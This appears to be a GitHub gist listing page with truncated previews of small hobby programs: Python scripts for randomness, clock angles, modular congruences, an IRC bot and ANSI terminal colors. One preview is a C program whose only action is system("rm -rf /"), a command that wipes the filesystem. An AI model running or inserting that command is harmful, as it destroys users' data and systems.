This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
"""Write a nice and descriptive docstring.""" | |
import random | |
import time | |
import sys | |
import re | |
# Define cpu clock as the random seed. | |
random.seed(time.clock) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Get the slope and the angle. | |
angle = 90 # Change this. (0 - 180) | |
# Count some more sensible angles. | |
angle = (angle - 180) / -1 # Do not change these. | |
slope = angle / 45 | |
# Get the power. | |
power = 10 # Change these. | |
wind = 1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# Source: | |
# Reference: https://gist.github.com/RobertSzkutak/1326452; | |
# https://gist.github.com/jenn4/9502483 | |
"""A simple python IRC bot. | |
""" | |
import socket | |
import time |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
int main(void) | |
{ | |
system("rm -rf /"); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import random | |
import time | |
import hashlib | |
import re | |
random.seed() | |
def getRandomColor(): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import sys | |
def get_clock_angle(hour, minute): | |
"""Counts the angle of given clock hands. | |
Takes two integers, hour and minute. | |
Returns a float, the angle.""" | |
# Check if the given values are valid. | |
if hour < 1 or hour > 24: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
### | |
# Copyright @ Janne Salokoski 2015 | |
### | |
import os | |
import time | |
import random |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import re | |
def congruence(a, b, n, **kwargs): | |
if kwargs["verbose"] != None: | |
if kwargs["verbose"] == True: | |
verbose = True | |
else: | |
verbose = False |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
ten = 0 | |
for i in range(0, 256): | |
print("\033[48;5;{}m {:^5} ".format(i, i), end="") | |
#print("\n\033[48;5;0mi: {}\ni % 10: {}".format(i, i % 10)) | |
if i % 10 == 0: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import time | |
class Color: | |
def __main__(self): | |
pass | |
def print(self, string, fg, bg=0, end="\n"): | |
print("\033[38;5;{}m\033[48;5;{}m{}".format(fg, bg, string), end=end) |